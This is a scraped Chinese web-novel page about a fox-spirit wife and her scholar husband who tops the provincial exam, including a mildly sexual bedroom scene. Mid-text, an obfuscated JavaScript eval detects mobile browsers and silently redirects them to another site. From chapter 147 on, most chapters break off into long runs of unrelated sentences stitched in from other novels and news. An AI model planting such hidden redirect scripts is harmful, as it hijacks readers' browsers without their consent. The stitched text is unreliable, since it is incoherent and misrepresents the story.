胡翘翘惆怅,“所以,这法子行不通啦。” “尽人事,听天命,再说了,没考上也没什么,大不了下次再来。”陈子均揉揉她的头顶,“好了,该去睡觉了。” 对了,睡觉! 这段时间以来,胡翘翘最喜欢的就是睡觉了。 她连忙道:“好,睡觉。” 上床之后,她立马缠到了陈子均身上,媚眼如丝地开口,“相公,我们来睡前探讨吧!” 一番深入又激烈的探讨之后,小狐狸终于心满意足,蜷缩在陈子均的怀中,同时,将雨后桃花般的小脸贴在他的胸口上。 尽管探讨之后,相公的身体依旧是凉凉的,甚至连汗也没出,但她觉得,这样很好,抱起相公的感觉,就像是一块温润微凉的玉石,也不会让人感觉汗津津的黏腻。 陈子均轻轻搂着她,有一下没一下地抚摸着她光滑的脊背。 这“探讨”的感觉,是他变成人之前,从未体验过的,对他来说,同样也具有莫大的吸引力。 据说,动物是没有的? 就连妖怪,也只有化成人形之后,才能体验得到。 难道说,妖怪执着化形,也有这一部分的原因么? 这时,胡翘翘突然想到了什么,睁开了眼,看着他,“相公,你能不能答应翘翘一件事?” 陈子均随口问,“什么事?” 胡翘翘舔了舔唇,而后,唇瓣弯出一个灵动的弧度,“下次,我……我想在上面!” “什么?”陈子均一愣。 “我之前看画儿,有个姿势,是女人在上面的,”她眨巴大眼,“相公,都这么久了,我们好像还没试过这样呢……下次,试试看?” 陈子均:“……不,我不喜欢。” 见他拒绝,胡翘翘的一双手臂立刻圈上了他的脖子,哼哼唧唧地说:“相公,你都没试过,怎么知道不喜欢呢?说不定,试了一次以后,你会超喜欢,一次就上瘾,然后一发不可收拾,从此难以自拔?” 陈子均看着她一脸谄媚又期待的小样儿,忍不住笑了,过了会儿,说:“以后再说。” “以后是什么时候?”胡翘翘追问,“是下次么?” “不,是我心情好的时候。” 胡翘翘撅起了嘴,“怎么,相公的意思是,平时你的心情都不好啦?” 陈子均:“……” “相公现在的心情好不好?” “……” “相公~相公~你回答翘翘呀~这么点小事,你该不会都不能答应翘翘吧?”她立刻改换了策略,咬住他的耳朵轻轻软软地撒娇。 声音娇滴滴的,像裹了蜜糖,偏偏还带着一丝委屈,任谁听了都得心软。 陈子均咳了一声,“明晚再说吧,先睡觉。” 胡翘翘眨眨眼,顿时听出相公的意思便是答应了,只不过碍于面子,才这么说。她也不敢欢呼雀跃,生怕相公到时一个恼羞成怒,又反悔了,那她才会悔断肠子呢。 因此拼命地忍住笑,在他脸上用力亲了一大口,“嗯,明晚再说,现在我们该睡觉啦,明天去看榜!” 翌日清晨,天刚蒙蒙亮,陈子均便起身出门。 当他到达贡院门口时,这里早已是人山人海,比肩接踵,除了来考试的秀才和家属,还有一群看热闹的百姓,将贡院围得水泄不通。 小白狐蹲坐在陈子均的肩上,乌溜溜的眼睛直直盯着前方,也是一脸期待。 人太多,这次陈子均倒没见到崔源和穆士铭两人,估计两人正在人堆里挤生挤死。 突然,前面的人群开始沸腾。 后面的人则是纷纷问怎么了,紧接着,就听到有人高声喊道:“出来了!出来了!放榜了!” 听到这里,剩下的人也开始疯狂,拼命往前挤,若不是有不少衙差在维持纪律,估计能把贡院的大门都给挤破了。 “中了,我中了!” “爹,娘,你们看到了吗?!你们儿子中举了!” 人群中不时有人哭有人笑,还有人状若疯癫,在大喊大叫,场面混乱又热闹。 “真奇怪,有人考上了笑,有人考上了哭……”小白狐趴在陈子均的耳边,小声嘀咕完,又说,“这么多人,相公别去挤啦,我来帮你看。” 陈子均含笑应声:“好。” 小白狐动用神念,目光直接透过人群,直直投向前方的贡院。 它先从最后一个往上看,心跳也随着目光的移动越来越快。 但看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893016|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大半,也没 找到,心中不安起来,当即又换了一边,打算从第一个开始往下看。 当视线落在第一排时,猛然间,它的两只小爪子用力抓住了陈子均的头发,“啾啾地”叫了起来! 叫完之后,才想起来相公听不懂狐语,连忙又趴在他耳边,压低了声音,但那股兴奋劲儿,还是浓得快要溢出来 “相公相公!第一名!!!你是第一名!!!” 陈子均眉梢微挑。 果然没出他所料,是个第一…… 原本他只是打算随意考一下,名次不用太高,保证能上榜即可。 但转念一想,若是不小心排在那个叫陆长轩的小子之后,心中多少有些不愉快,于是稍稍认真了些,而后就顺理成章地拿下了头名。 小白狐兴奋地在他肩上蹦来跳去,蓬松的尾巴都快甩出残影来了,“我就知道相公是最厉害的!第一名!太棒啦,太棒啦!“ 它欢呼雀跃了会儿,又好奇地说,“相公,你考了第一名,怎么好像一点都不激动呀?” 陈子均的唇角不自觉地微微勾起。 “有娘子替我激动就够了。” “嘻嘻嘻嘻,”小白狐开心道,“今天双喜临门!” 陈子均一怔,问:“双喜?还有一喜是什么?” “还有一喜,是晚上相公要在我下面呀!” “……” 这时,人群中,又响起了两个陈子均颇为熟悉的声音。 “哈哈哈!我中了!中了!“ “啊——陈兄,陈兄竟然是第一名!” “快看看,陈兄来了没有?!” “啊,他在那边!” 崔源和穆士铭两人从人群中挤了出来,气喘吁吁地跑到了陈子均面前。 “陈兄,你,你真是太厉害了!竟然考了第一名,这,这简直是文曲星下凡啊!”崔源激动得满脸通红,一部分是为自己,一部分是为陈子均。 穆士铭也是一脸佩服,“陈兄,你真是深藏不露啊!” 他们怎么也没想到,陈子均竟然能在乡试里考中第一,说出去他们和解元是朋友,哇,感觉他们自己的脸上也多了几分光彩。 陈子均淡淡一笑,道:“侥幸而已。” 小白狐在他肩上骄傲地挺起小胸脯,毛茸茸的尾巴高高翘起,像一面胜利的旗帜,对着两人“啾啾”地叫着,好像在说:“那可不只是侥幸,我家相公可是最厉害的!” 这时,崔源又一脸幸灾乐祸地凑过来,压低了声音说道:“陈兄,你可知道,那个陆长轩才考了第五名!听说现在连面都不敢露,躲在家里生闷气呢!” 陈子均:“哦,是么?” 穆士铭点点头,“反正没见到他人。” 崔源笑得前仰后合:“可不是嘛,听说他那篇策论写得是花团锦簇,辞藻华丽得不行,可这次的主考官,却比较偏爱那种质朴隽永的文风,再加上他前些日子巴结长陵郡主的事儿,不知怎么传到了主考官的耳朵里,这位主考官啊,向来清高,最厌恶趋炎附势之辈,他这回算是撞到枪口上了,本来是有前三名的实力的,结果直接被主考官打到了第五名,哈哈哈……” 两人正说着,周围的人群忽然骚动起来,也不知是谁喊了一声“他就是陈子均?!” “哄——”人群顿时变得骚动起来,都朝这边聚过来。 “我看看,解元郎长什么模样!” “果然是芝兰玉树,华茂春松啊。” “哎呀,也让我瞧瞧……” “别挤啊,别挤,我还没看清……” 三人都吓了一跳。 解元不愧是解元,这魅力太大了。 “陈兄,咱们先走吧,这里人太多了!”崔源大声说道。 好不容易才挤出人群,远离了贡院,三个人又找了个茶馆,一边喝茶一边闲聊。 陈子均询问了两人的成绩,得知这次两人竟然都中了,穆士铭排在第四十几名,至于崔源,九十多名,基本算是倒数的,但也算是得偿所愿,金榜题名了。 不过崔源的性格颇为乐天,对这成绩也并没太放在心上。 “倒数就倒数,好歹比连榜都没上的人强,”他嘿嘿一笑,又说,“再说了,能考上就已经是我家祖坟在冒青烟了,我本来都做好了大不了再苦读三年,下次再来考的打算了!我知足,知足!” 陈子均笑了,“崔兄能这样想,就再好不过了。” 崔源又对陈子均笑嘻嘻地拱了拱手,“陈兄,恭喜恭喜,看来明日的鹿鸣宴,你可是要成为全场焦点了!” 原来鹿鸣宴是科举的一种习俗,每当乡试之后,放榜次日。由当地由官府出资,邀请所有的举人,烹羊宰牛,以资庆贺。 宴前歌《诗经.小雅》中《鹿鸣》一篇,其中有一句道:“呦呦鹿呜,食野之苹。”是说鹿发现美食,不忘与同伴分享,算是一种美德。 穆士铭在一旁点头附和道:“是啊,陈兄明日必定是众星捧月!” 崔源又对陈子均挤眉弄眼道:“好了,陈兄一定急着回去,和令夫人分享这件大喜事了,我们就不打扰了,等到明日鹿鸣宴,再好好喝上几杯!” 第147章 醉酒狐狸 陈子均中了解元,对胡翘翘来说,自然是天大的喜事。她开心之极,决定准备一顿丰盛的午餐,好好犒劳自家相公。论诚意,当然还是她自己亲自动手,更显真诚。不过,胡翘翘对自己的厨艺有自知之明,她做出的菜,只能算勉强能吃,离所谓的美味还有十万八千里远。而来长陵城的这几个月中,她基本于雷本以为自己做的很秘密,没想到教会手眼通天,还是追查到了他的头上。这些痛苦需要他自己去承受。唯有撑过去,才会获得最大的收获,同时,这对他以后的突破,也是一种磨练和借鉴。再结合当今华夏官场怪现象,夏浩然不难看出这其中存在的问题。奎里纳斯的脚下的地板突然坍塌,而头顶上的呆灯也落了下来。奎里纳斯丢开黑猫,努力躲向一旁,但灾祸却紧跟着而来。赔偿,不应该是他赔偿给他们吗?怎么成了他们要对他进行赔偿?“就是我们这几天在做空萧家的同时,发现有两个资本财团也掺和了进来。而对方的目的,则是为了挽救萧家的危机。”安琪说道。“这种事情可打不了包票,尽人事听天命!”李辰刮了刮她那挺直的鼻梁。他说的是实话,这种事情,不可控因素太多,即便是李辰,也不敢说一定会成功。苏慕白冷笑一声,示威似的把乔宋搂的更紧了一些,回瞪着苏寅政,“苏寅政,她不是你的,更不会是我嫂子!当初我把宋宋让给你,不是为了让她给别人糟蹋的,既然你照顾不好她,那就由我来照顾!”。赵子弦觉得王少身边肯定还有最后的王牌。可是他自己这边,除了自己之外别无其他实力强悍的帮手。只有拉拢了全素,已方的实力才会增强那么一点两点。直到谈话结束,苏寅政都没有和苏慕白再多说半句话,两人都已经谈婚论嫁,这个时候再说出喜欢自己未来妻子的话,他也不想让两人的关系更加的复杂。“你不仅适合做演员,更适合当歌手,恭喜你。”队长金孝珍感叹道。金樽大声地叫嚷了起来,看到风浪的眼神,他的心中都明白了,可是却要再确认一次。贞德好一会儿没有说话,似乎是在想其他的“可行办法”,但显然,这么短的时间内,想一个万全的办法,是不太现实。给张广才一支香烟,自己也点了一颗,眼睛看向窗外,灯光绮丽辉煌,映照湖水五彩缤纷,波光漾漾,心说张广才真会找地方。但是,这位一时间没有往其他方面想,还是“单纯”地认为特使大人确实被人暗算了,所以立马叫来另一个同伴,想让他帮忙抬起特使大人,重新放回马背上,准备先回城再说。终于,最后一口烟吸完,周明把烟头狠狠地捻灭在烟灰缸里,霍然抬头。蝶儿双眼猛地闭上,背后的七色翅膀也是直接消失,身躯没有了浮力,直接就是从空中掉落下来,好在下面是沙发,不然的话,可能还会摔伤。既然勃艮第人那么好客,自己当然不能辜负他们的一番好意,再怎么说,让他们还在埋伏着的部队吃了好些天的冷风,自己不表示表示,那岂不是真让勃艮第人以为他们自己才是瑞士的主人?安承佑见黄美英忽然拼命眨着眼睛,没有明白怎么回事,耳边就传来一阵破空声,接着脑袋狠狠的震了一下,甚至出现了眩晕的感觉。 第148章 前往京城 鹿鸣宴之后,又有几波上门来恭贺、道喜的人,还有一些本城士绅名流家中的随从,登门送来名帖请柬、礼物……原本清幽的小宅,突然门庭若市,也不知道这些人都是从哪儿打听到陈子均夫妻俩住在这里的。陈子均早有预料,吩咐小青一律回绝,只推说夫妻二人已回乡探亲,短时间内不会返回长陵,只收下名帖,礼物和请柬则原我当时真的不懂,只是出于听外婆的话,把它一直带在身边。我和爸爸妈妈走出了大山,来到了城市。虽然这里的生活远比大山里优越,可是我却一直很想念外婆和表姐。她立马委屈了嘟起了嘴,泪花在眼眶里打着转,幸好给钟莫回劝住了,才没有掉下来。赵玉辉的老婆也不傻,自己的男人什么样,她心里有数,也只是半信半疑的接受了他的这个说词。“卓扬!卓扬……”如萍一下从沙发上坐了起来,原来刚才是自己睡着了梦到了卓扬,可是梦里的卓扬说的话太真实了,真实到如萍记得他说的每一个字,可就是听不懂是什么意思。皇朝假日会所,没有身份进不来,这里代表着地位和身份,这里真正有钱人玩的地方。所以一开始,大家都迫切的希望搞清楚对手的底牌,也就是对手的原石和自己的比,究竟孰优孰劣。“毁神殿的魔焰,出自我手!”一声大喊,众神中若冰飘然而出,带着一贯的冷笑。等级越高的人类修士,在坠魂渊里的活动越自如,但是也不能长期待在里面,只能适应一段时间。淤血而已,就算没有药物的化瘀,随着时间的流逝,那些淤血也可以被的身体自行吸收,更何况,他还可以运功疗伤,化去淤血。因为实在是拗不过奶奶,二叔也只好早早的就来接我去了那位阴阳先生的宅子里了。上一任刚刚离开10分钟,29号端子已消毒,闻起来味道还算不错。明天我要让刁天一和刁德丢尽面子,我要最后拉金珠一把。善有善报,恶有恶报,若是不报,时间未到。该到我报复刁天一的时候到了,他在后面做了许多对天地集团公司不利的事情。这也是为什么会将青铜龙卫、白银龙卫、黄金龙卫按照这个顺序来排列权力了,能够成为黄金龙卫,不管是因为努力,还是因为天赋,只要能够成为黄金龙卫,那在这将军府当中,就是一个非常尊贵的存在了。当他一推殿门时,一层青蓝色的光幕立时浮现,一道如同弯月般的雷弧弹射而出,修士顿时在雷弧之下化作了虚无只有一只储物袋掉落在了大殿门口。另一边的苏宝瑞兴奋大吼大叫,从胖子手里一把抢过钱揣进自己的怀里。可是秦羽川似乎一点都立不住的样子,身体的中心摇摇晃晃,一会压在左边家丁身上,一会压在右边家丁身上,苦了两个家丁,使劲了吃奶的力气扛着他往外面走。剧组的包厢是不能回了,知道的人越少越好,否则李薇薇衣衫不整,脸上都是泪,被人偷偷拍了照片,说不定又传出什么来,传出什么对姑娘总是不好的。为首的鬼魂气势汹汹地大声喊道,瞬间十个鬼魂就把华天成给团团围住了,都拿着凶器往前冲。阳俞钰不满地剐了一眼黄梦雪,知道只有用实力才能洗刷老大的污名,当即把纳戒里的战利品拿了出来。 第149章 水妖宴会 小青正骂得带劲,忽然,脚下传来一阵异动。一条滑溜溜黑黝黝的大泥鳅,从淤泥中猛地窜出,张开大嘴,直接朝着小青咬去!“终于忍不住了……这厮竟是条泥鳅妖!”小青恍然大悟,难怪找不到,原来是钻泥巴里了。她挥舞长剑,与其相斗。然而,河侯在水中灵活无比,滑不溜秋的,小青的“怎么?没听说过北都四大家族么?”张云天看着萧明,笑着问道。“人家可是云澜圣者认要的人。要说起来,她才是最有资格坐在这里。”轻轻突然反唇相讥。不是她想帮柳长宁,而是觉得这一次秋霞实在太过火了些。青原似乎是受到了某种震撼,身子一僵,微微颤抖的双手抚上了阎倾的娇颜。“这···这是怎么回事?这些东西是从哪里来的?”莫拉西莫睁大了自己的狗眼看着屏幕上面显示的情况。孙明坐在饭桌边上,心里重重的发着誓言。这誓言要是让林笑笑听到的话,她肯定会语重心长的拍着孙明的肩膀,安慰他:孩子,这辈子你肯定是没戏了,还是洗洗睡吧。要么就是期待他下辈子变得笨点。紫霞道长知道,此事已经很难挽回了;然而,旁边那十几道灼热的目光,却让他不得不硬着头皮,在做最后的努力。锦卿回头一看,却是一个一身宝蓝色绸缎衣服的少年,满脸的青春痘,十三四岁的样子,插着腰一脸不屑的看着自己。锦卿惊讶的发现,那少年的眼珠,竟带些微微的蓝色。老顽童见状,气得又吹胡子,又翻白眼,对冷籽轩那一声“师傅”,很是不悦。当即,就将那圣旨,不由分说的,往冷籽轩怀里一塞。随即,身形一闪,也消失得无影无踪。听到黄泉的大喝,玄冥的战斗经验何等丰富,顿时心中一寒,不假思索的拿出了一道符箓,砰然捏碎。但是面对一些把爱豆看成是自己的奋斗目标的人来说,就完全不一样了。“没错,他就是威廉,变成怪物的他之所以追着雪莉不放,是因为g病毒已经完全将威廉吞噬殆尽”安妮特非常清楚g病毒的繁衍特性。钱辰拳不停,如雨点一般落在牛肉上,不到半分钟,牛肉被他打成了肉泥。“老师,你终于回来了!”看着楚风回来,石龙迫不及待的迎出石龙道场,身上没有一点矜持。彪哥这一战之后,不仅重夺了家庭的主导权,而且其生命之火,也从这一天开始激烈燃烧起来,还越烧越旺,至今也没有熄灭的迹象。虽然心里还是有点忐忑,只不过,到底是主子,他又不能不听主子的话。叶离有些奇怪,这个时候秦朗找她有什么事呢?早晨时他说的那句话又到底是什么意思?这些她都还没想清楚,不过手指已经下意识的一按,回拨了过去。以前跟东方药业集团长期合作的商业巨头,在有心之人的挑拨利诱之下,陆续跟东方药业集团终止合约。钱辰像是完全没有听懂他这一番夹枪带棒的话一般,一脸微笑地摆了摆手。就见两米五高,一米五宽的自动饮料贩卖机,一个接一个紧密的围着操场最外圈的白线,整齐的排列着。殷枫终于明白,阿鼻地宫的宫主楼万重为何扑死在这一关上,并不是他的血液潜力不行,应该是推演能力不过关。 第150章 青丘涂山 飞舟缓缓降落在林边。等胡翘翘收起飞舟,陈子均便带着二女,走进了林子。参天巨木遮天蔽日,只有些许光线透过树叶间的缝隙洒落下来,给幽暗的林子增添了几分静谧。“这林子还挺大的。”小青打量着四周。话音刚落,一阵微弱的“嘤嘤”声从不远处传来,像是小动物受伤的哀鸣。“相公而就在酷比独自离开之后,龙迹他们一行又遭遇了奇怪的迷雾。而在此刻因为受到惊吓的林影彬居然打乱了大家的节奏而使得大家分散开来。对于他们,上次生化危机华龙之死,他们之间便产生了一段仇怨。可我们队伍却打出了凶性,一个逆风翻盘,让我们队伍的凶性显露无疑。说着将手覆盖上那细碎的雪糁,眼眸在瞬间恢复墨黑,背朝后退了进去。无论是使用金银餐具,还是木制的餐具,都不会影响食物的口感,相比较特奈娅,李基尼娅就是金银餐具盛放的食物,而特奈娅则恰恰相反。他记得当初流云仙帝感悟九世轮回出来的时候,也仅仅只是从渡劫巅峰的实力,突破到了大乘初期而已。他们两个认识了几十年,从来都是以对手的身份存在,彼此不给对方面子。吴敌坚信,一旦胡莉晶想要创业,能取得的成就绝对不仅仅是这么一丁点。张若风也迈步过去,他跟这些‘既想占人家便宜,又背后说人长短’的人实在没法相处。消灭完上空的域外天魔后,胖子身周再度亮起一道蔚蓝色的剑光,只见一道冰龙一闪而出,绕着胖子的身躯环行飞舞了几圈后,冰龙一个下扑,一头迎上了那些自地上涌起的骨灵冷火。熊坤挥手一引,那些长四十八颗长牙竟如游鱼一般排成一字长队,飞向韩风的胸口。一至韩风胸前,接着便一个接一个的消失了,韩风自是知道,这些东西被熊坤全部送入了龙珠空间。“在最近几个月,我一直想着如何夺回奖杯,这也是现在这支更加强大的切尔西的目标。”德罗巴发出了宣言,可惜的是,由于受伤,他将缺席对曼联的社区盾杯比赛,不过联赛还没有开始,鹿死谁手尚未可知。“是,是这样吧!”安培拓哉顺着白井黑子的目光看去,看到地上躺着的那些人,不由得摇头苦笑着。从外面来看,好像的确应该是那样的。杨波点头,一一朝各席面打躬告罪,又招过王妈妈,今日若是有人留宿醉香楼的,多少花销尽算在他头上,王妈妈大喜过望,赶紧跑去招呼云娘了。‘叮’一声清脆的响声回荡在院里,胡雪漫一看,脸色一变,那不是刚刚他打出去的子弹弹头吗?谢云婷此刻才觉查到对方的欲念,她又羞又恼,抡圆的右手,一巴掌打了过去。“完了,真的要完了……”殷浩喃喃自语,眼光急速闪动,思索着什么,却不像褚衰那般失意。“我知道了,知道了。”看着叶枫眼里的柔情,秋心拼命的点头,眼中泪水控制不住的掉了下来,她听懂了叶枫的意思。一周的工夫,从联赛榜首变为落后枪手5分,曼联球迷本就因空难纪念而沉重的心情变得更加痛苦了。一道蓝‘色’的光芒开始从娃娃眼孔之中开始朝着外界冒了出来。拳拳到肉,砰砰作响,如同金铁交击,发出声音让周围所有人都感到肌肉发酸。 第151章 拿开脏手 胡翘翘在专心致志地运转太阴感应诀。初始如同陷入泥沼,极为滞涩,然而随着时间推移,至纯至柔的太阴星力逐渐发挥效用,竟然真的一点点地将封魂果的药力给化解掉了……在她身畔,陈子均则是边听着苏家三妖讲述着青丘涂山两族的恩怨,一边不动声色地与三妖东拉西扯。“照这么说,当年要不是你们青丘穹影只交待了一句把倾君安排到倾心殿,便回幽冥殿,夜宸默默地跟在她身后。琳琳和少年脸上的笑意敛下了,扯了扯秋桐,后退了两步,他们不敢得罪金璃国的公主。“你们是贵宾怎么可能坐着普通席呢!我们去二楼贵宾室!你们是人字七号贵宾房!”知画明白明华皱眉的原因立刻笑着解释道。兜兜转转,郁散难解。此时此刻,我在不厌其烦的决心分离与偶然重逢之后,终于感觉到了一种逃脱不开的无力,几乎不敢睁眼审度眼前的场景。凤如凰消失之后,他就在黑暗之中摸索着。在这里他的夜视竟然也没用,四周的漆黑就像是被墨水染过的一样,没有一丝的变化。直到李成风拿起最后一个散发着蒙蒙灰色光芒的玉简观看的时候脸上才浮现出了笑容。已经进入硕士接近半年,艾默丁教授派发的研究任务也加重了些。我呆在实验室的时间比过去更多,和辛格的相处也愈加和睦。而我以前从来没想过,自己居然能和一个印度人成为好朋友。傲行帝现在说不愤怒是假的,百里无伤现在如此表现,明显是不给他面子。可是,他还必须隐忍,不能发作。冗长聒噪的铃声静静地响,我的心也跟着七上八下。屏住呼吸,准备好一口气说完所有的话语,他却始终没有接听。耳边,只余下不停“嘟嘟”的忙音。伪满的人被三叔带走了不少,说是回去审查,至于他们回去之后面对的到底是什么我就不知道了。其实我猜测,三叔是想分流一下伪满的势力,以免伪满死灰复燃。完颜美珠被这一言堵的说不出话来,因为她不知讲什么才可让她放下如此深的芥蒂。余海平回到林格身边,林格看他脸上虽笑,可是脸上的忧愁却是怎么也掩盖不住。陆珏转过身,将手中的茶碗放于桌上,还持着茶杯盖的手轻轻一摆,示意夜风退下。无论他们会创造出什么样的时间线,都不会对自己造成影响,因为他已经跳出时间之外。换句话说,就是超脱轮回。龙拓在九曜会武时见过林越施展过现在的状态,但即便如此,正在面对时,还是让他心惊。星主的表情凝重了起来,因为人类展示的实力有些超乎想象,所以他也不敢大意了。这几位大佬的素养极高,那不怒而威的上位者气势,让刘明还是十分佩服的,他们都是国家合格的领导人,理应得到刘明的尊重。那是一身已经洗的发白的蓝布中山装,补丁补的相当不专业,据说这是他结婚那年买的,也是他唯一一套拿的出来的衣服,但是很干净。“你怎么知道的?”王楠笑问道。柏佩丝与刘明呆在一起的时间不超过三天,她怎么会知道这些事情,对方可没说。太多,太多的荣耀,如同潮水般的涌来,八州弟子,能撑过第一轮淘汰赛的,唯有米斗一个,可知八州与大府的差距,然而,米斗一路横冲直撞,登上了榜首的宝座,再多的荣耀,也是理所当然的。 第152章 竟是你们 胡翘翘回头张望了几次,确定苏媚没有追来,紧绷的心弦这才放松了少许。“方才那只老狐狸居然有四条尾巴……一定非常厉害了。”话本子里写过,狐妖的尾巴越多,实力便越强,若是生出九尾,便是传说中的九尾天狐,实力便只在神明之下,可她现在才一条尾巴,可见方才那老狐狸的实力一定比她强得多。她“既然如此,那就开始吧!”杨莫深吸口气,翻手取出一个玉瓶。此时,大殿内一片寂静,荡邪诛魔阵竟然都杀不了他,让众位高僧脸色都难看起来。一号是一位永恒超脱者,在其超脱进入另一个无法描述境界时。有感于自己最初因一个机缘走上了这条路,叹息修炼道途上的坎坷险要。这家伙的半身赤裸着,画着很多怪怪的符号,身的肌肉缠结看起来强壮的惊人。在水底的乱流中不断的扭曲被撕扯,被蹂躏成各式各样的形状,然后被一股灼热的海流冲击,消失在了水面之下。威珥停止下来,靠着木墙的一侧坐了下来,用手将头上的汗水擦掉,怀里的皮斯还是呆滞的神情,一动不动。一号:自从前面世界自我基础法则调整之后,现在你只要不发挥出超越圣级的力量,和杀掉重要剧情人物,就没有问题了。雨泽这才一下子想了起来:这是白凡以前经常会对自己说的一句话。老板也不必待在店里,可以轻松的在桦木镇的酒馆里放松几天了。而且为了他们不再上当受骗,一向避世的王观主居然不辞辛劳亲自下山,以雷霆手段揭穿了骗子的真面目。他年纪轻轻已经有了中校的军衔,本该是前途无量,只是因为一次意外的犯错,而导致了停职查办。原本沉寂的心,再次燃起希望,他想说,若是她过的不好,愿不愿意来魔界?至少不会让人欺负她。“是!”音落,踱步,转身,而坐,落下轻烟般的呼息,欲要吹散内里狼狈至极的失控筹谋。罗生云和祥云差不多,都是仙气凝结而成,只不过祥云轻往上浮,罗生云很重,贴在地面附近。这个时候,他的内心不像刚刚知道这个消息时候那个绝望和痛苦交织,那个时候的感觉在他看来是毫无逻辑的,他现在已经冷静了许多,充其量也就是有些好奇。“云曦,忆东并没有爱过你,最初,她恨你,你的长兄、你的家人同样背叛、伤害了她。身躯一个不稳,差点从空中直直掉落下来。心里捏了一把汗,霎时提气,这才稳稳的落了地面。或许她应该弄清楚岳乐喜不喜欢他,她对岳乐又有几分在意,她不想越纠结想越投入,最后真的把自己陷进去了。夏侯爵不自觉的握紧了双拳,不论如何,夏曦都还有他,他会好好照顾她的。姜暮染的速度其实不算慢了,但是还是被从后面赶来的那些人给拦住了去路。剑无痕点了点头,将地上的盒子收了起来,向三皇子鞠了一躬后,转身退了出去。绿色的荧光从银桦树上散出,苍离的脸离开了树身,支配着一具木质感极重的身体走了出来。“彭彭,人家都连过三关了,你就让他进屋吧。非要和大白比赛干嘛?”黄雷边劝,边朝何炯眨眨眼。听到南浔的话,江修白却倏地咬住了自己下唇,连面色都隐隐有些苍白。 第153章 痴心阴魂 村中一片空地上,夕阳将四周的谷堆染得金灿灿。 几个半大孩子正玩着游戏,笑声回荡。 其中一个小女孩用半旧的手帕蒙着眼,正努力地摸向周围,试图抓住她的玩伴 燕赤霞看着那小女孩,心中五味杂陈。 这懵懂无知的小姑娘,竟是自己妻子,那个温柔嫣然的女子,的转世身? 他转头看向法海, 反正夭影想要接住这一剑肯定不容易,心里是很清楚的。看着她能轻易地接下来,也知道实力应该是有真灵了。不然又怎么能这样接首席弟子的一剑? 此番追查到京城,只觉得当今重用奸臣,怒急攻心,便出了那次行刺事件。 就像堵塞在管口的棉絮一下子都掏空一样,通透了,也舒服多了。 正是因为她的到来,牛钢门摆脱了万能垫底的噩梦,据说得知这个消息,当晚买了一箱啤酒庆祝,结果被宿管抓住,教育了一夜。 “哈!老人家我已经是知道了。你赶紧地走吧,别打扰我老人家清修。”那老人家还是将哪吒给推出了洞府。 邹珂表情收敛,一副正经的模样,居然直接开始为杨恒瑞开始汇报工作和未来的计划。 路易斯带着林子耽穿过大厅,走进了一扇有着和大门口一样金色圆环把手的私人会客室,进去之后,里面竟然出乎他意料的宽敞和明亮。 到目前为止已经是大胜了,大秦舰队无一人伤亡,无一艘战舰被击沉,虽说有一些战舰受了不同程度的击伤,但这都不是问题,只要能回去用不了多久就会被修复一新。 林俊一把身子往沙发背上一靠,双臂环胸,缄默不语,跟看傻逼似的倪着抓狂的陶然。 霍水儿提前打听了一下霍焱的喜好,他好素净,性格淡漠,许也是日子艰辛的原因,没有特殊的吃食嗜好。 她用了点力,将重心移到那只喜鹊的身上。勉强算是……站稳了? 男孩哭了好一会,断断续续地跟爸妈说了自己看到怪物的经历,算是完全恢复了。 “你这样盯着奴家干嘛,看得奴家有一点好意思地。”王昭君看到林下帆双眼紧紧盯着自己,脑里又想到刚才林下帆双手在她胸上面揉,脸上红扑扑的,羞涩涩地说。 “好。”寒来确实是很疲惫了,听见宫明没事的消息后,她总算放下心来,一直紧绷着的神经,也总算放松了下来。 秀眉微蹙,青玥看向木屋。深吸一口气,直接大步朝着木屋走去。 除了他们外,在法阵内的树木,一下子被重力压扁到地上去,碎成渣渣,压成一坨木钢材似的。 而站在舞台正中央的就是自己的奶奶,如今风家族的掌舵人。她带着龙王面具,倚在中央的井边。 马车上的气氛倒也不僵。沈曼云掀开帘子,看着马车外的样子,一边吹着风,一边吃着枇杷膏,完全不管一旁的屈由。 云婳眼神微闪,这二人不是柳媚儿的人!若是她的人,在确认了自己的身份后,不会如此恭敬。 沈严提出一县封地的要求,薛宁没有丝毫犹豫的便答应了,这另那名传信士卒以及薛宁身边的人皆是大为不解。 日夜交替,足足九天时间,他一直都在山洞里吞食血肉,整整吃下了上百头巨狼,战天化气运转,将之消化为精纯的能量,然后用以推动魔佛金身诀的修炼,让他大成境的佛魔不坏金身再次提升了一个档次。 第154章 赤霞收徒 月上林梢。  屋子里烛光摇曳。  “你看,食指先这样,然后小指头勾住这一根,从第二根和第三根中间反过来……就变成星星了,厉害吧?”  阿秀正在教玉珠儿玩翻花绳。  玉珠儿眨也不眨地盯着她的动作。  阿秀停了下来,笑着问,“看懂了么?要不,我再重新来一次,慢一点?”  玉珠儿嘻  她也想变得更加强大,这样就不会落后夏峰太多,也能更好的活下去。  当天下班前,齐星雨特意告诉了两位好友明天不用操心早餐,她不只带早餐,还会准备水果点心。  大魔王被她抱着,许久没有动静,顾星凉不安的松开了他,才看到男人通红的一双眼睛。  陆初一开车,承靖州也没坐副驾驶位,而是跟两个孩子一起坐在后排,左右手分别搂着两个孩子,父子三人相依为命,一副被全世界抛弃的模样,看着特别的可怜,令人心疼。  王彦摆摆手,笑到,“秋兄,你还不知道我么?不论发生什么事,兄弟我自然是站在你这边的。  “妈妈才不会嫁给你这个坏人!”承全扭头凶巴巴地瞪着承安州。  索隆杀掉之前的几十头兽人,尤其其中一个还拿着能放出大地之力的旗帜,追兵肯定要比之前的兽人强,这个索隆早有预料,但却没有预料到追兵居然这么强悍,甚至能直接吞噬法术能量。  “嗷、、、”周扬刚停稳,便有数十头野狼从树木的隐秘处钻出去,后肢用力,跃起在空中朝周扬扑去。  那样可怜的又孤单的样子,不要说齐星缘,就是齐星雨看着也觉得心疼。  “不知道。”能怎么办?她现在揭发郭旭,等同于将自己也交代了出去,这世间那还有后路给她?  在接触到王赢之时,直接在他的身上穿破了一个以肉眼可见的大洞。  